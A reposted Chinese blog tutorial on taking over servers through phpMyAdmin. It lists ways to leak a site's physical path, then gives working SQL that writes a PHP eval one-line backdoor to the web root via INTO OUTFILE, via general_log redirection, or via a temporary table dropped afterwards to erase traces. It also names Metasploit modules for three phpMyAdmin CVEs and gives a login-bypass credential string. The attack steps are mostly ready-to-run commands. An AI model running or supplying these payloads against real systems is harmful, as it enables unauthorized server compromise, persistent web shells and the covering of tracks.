phpMyadmin的Getshell思路


本文為這個大佬創作:https://www.bugfor.com/web/2822.html。

phpMyadmin是一個以PHP為基礎的MySQL數據庫管理工具,使網站管理員可通過Web接口管理數據庫

phpMyadmin簡介

phpMyadmin是一個以PHP為基礎的MySQL數據庫管理工具,使網站管理員可通過Web接口管理數據庫

信息收集

此部分主要需要收集的是網站物理路徑,否則后續無法通過URL連接Shell

物理路徑

  • 查詢數據庫存儲路徑來推測網站物理路徑,也可以通過log變量得到

select @@datadir;

  • 配置文件爆路徑:如果注入點有文件讀取權限,可通過load_file嘗試讀取配置文件

# Windows

c:windowsphp.ini # php配置文件

c:windowssystem32inetsrvMetaBase.xml # IIS虛擬主機配置文件

# Linux

/etc/php.ini # php配置文件

/etc/httpd/conf.d/php.conf

/etc/httpd/conf/httpd.conf # Apache配置文件

/usr/local/apache/conf/httpd.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/apache/conf/extra/httpd-vhosts.conf # 虛擬目錄配置文件

  • 單引號爆路徑:直接在URL后面加單引號。要求單引號沒有被過濾(gpc=off)且服務器默認返回錯誤信息。www.abc.com/index.php?id=1'
  • 錯誤參數值爆路徑:嘗試將要提交的參數值改成錯誤值。www.abc.com/index.php?id=-1
  • Nginx文件類型錯誤解析爆路徑:要求Web服務器是Nginx,且存在文件類型解析漏洞。在圖片地址后添加/x.php,該圖片不但會被當作php文件執行,還有可能爆出物理路徑。www.abc.com/bg.jpg/x.php
  • Google爆路徑

site:xxx.com warning

site:xxx.com "fatal error"

  • 測試文件爆路徑

www.xxx.com/test.php

www.xxx.com/ceshi.php

www.xxx.com/info.php

www.xxx.com/phpinfo.php

www.xxx.com/php_info.php

www.xxx.com/1.php

  • 其它

phpMyAdmin/libraries/selectlang.lib.php

phpMyAdmin/darkblueorange/layout.inc.php

phpmyadmin/themes/darkblue_orange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpMyAdmin/darkblueorange/layout.inc.php phpMyAdmin/index.php?lang[]=1

/phpmyadmin/libraries/lect_lang.lib.php

/phpMyAdmin/phpinfo.php

/phpmyadmin/themes/darkblue_orange/layout.inc.php

/phpmyadmin/libraries/select_lang.lib.php

/phpmyadmin/libraries/mcrypt.lib.php

其它信息

  • phpMyadmin后台面板可以直接看到MySQL版本、當前用戶、操作系統、PHP版本、phpMyadmin版本等信息
  • 也可以通過SQL查詢得到其它信息

select version(); -- 查看數據庫版本

select @@datadir; -- 查看數據庫存儲路徑

show VARIABLES like '%char%'; -- 查看系統變量

GetShell

前提條件

  • 網站真實路徑。如果不知道網站真實路徑則后續無法通過URL的方式連shell
  • 讀寫權限。查詢secure_file_priv參數,查看是否具有讀寫文件權限,若為NULL則沒有辦法寫入shell這個值是只讀變量,只能通過配置文件修改,且更改后需重啟服務才生效

select @@secure_file_priv -- 查詢secure_file_priv

-- secure_file_priv=NULL,禁止導入導出

-- secure_file_priv='',不限制導入導出

-- secure_file_priv=/path/,只能向指定目錄導入導出

select load_file('c:/phpinfo.php'); -- 讀取文件

select '123' into outfile 'c:/shell.php'; -- 寫入文件

常規GetShell

直接通過SQL查詢寫入shell

-- 假設物理路徑為 "G:phpStudyWWW"

select '<?php eval($_POST["pwd"]);?>' into outfile 'G:/phpStudy/WWW/shell.php';

日志GetShell

MySQL5.0版本以上會創建日志文件,通過修改日志的全局變量打開日志並指定日志保存路徑,再通過查詢寫入一句話木馬,此時該木馬會被日志記錄並生成日志文件,從而GetShell。但是前提是要對生成的日志文件有讀寫權限。

  • 查詢日志全局變量

    • general_log:日志保存狀態
    • general_log_file:日志保存路徑

show variables like '%general%';

Variable_name Value

general_log OFF

general_log_file G:phpStudyMySQLdataFengSec.log

  • 開啟日志保存並配置保存路徑

set global general_log = "ON"; -- 打開日志保存

set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 設置日志保存路徑,需先得知網站物理路徑,否則即使寫入了Shell也無法通過URL連接

  • shell

select '<?php eval($_POST[pwd]); ?>';

新表GetShell

  • 進入一個數據庫,新建數據表。

    • 名字隨意,這里為shell_table
    • 字段數填1

  • 添加字段

    • 字段名任意,這里為xiaoma
    • 字段類型為TEXT

  • 在該表中點擊插入,值為一句話木馬

<?php eval($_POST[pwd]); ?>'

  • 執行SQL查詢,將該表中的內容導出到指定文件

-- 假設物理路徑為 "G:phpStudyWWW"

select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";

  • 刪除該表,抹除痕跡

Drop TABLE IF EXISTS shell_table;

  • 以上步驟也可以通過MySQL語句執行

Create TABLE shell_table (xiaoma text NOT NULL) -- 建表

Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 寫入

select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 導出

Drop TABLE IF EXISTS shell_table; -- 刪表

特殊版本GetShell

CVE-2013-3238

  • 影響版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
  • 利用模塊:exploit/multi/http/phpmyadminpregreplace

CVE-2012-5159

  • 影響版本:phpMyAdmin v3.5.2.2
  • 利用模塊:exploit/multi/http/phpmyadmin3522_backdoor

CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令執行

  • 影響版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
  • 利用模塊:exploit/unix/webapp/phpmyadmin_config

弱口令&萬能密碼

  • 弱口令:版本phpmyadmin2.11.9.2直接root用戶登陸,無需密碼
  • 萬能密碼:版本2.11.3 / 2.11.4,用戶名'localhost'@'@"則登錄成功


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM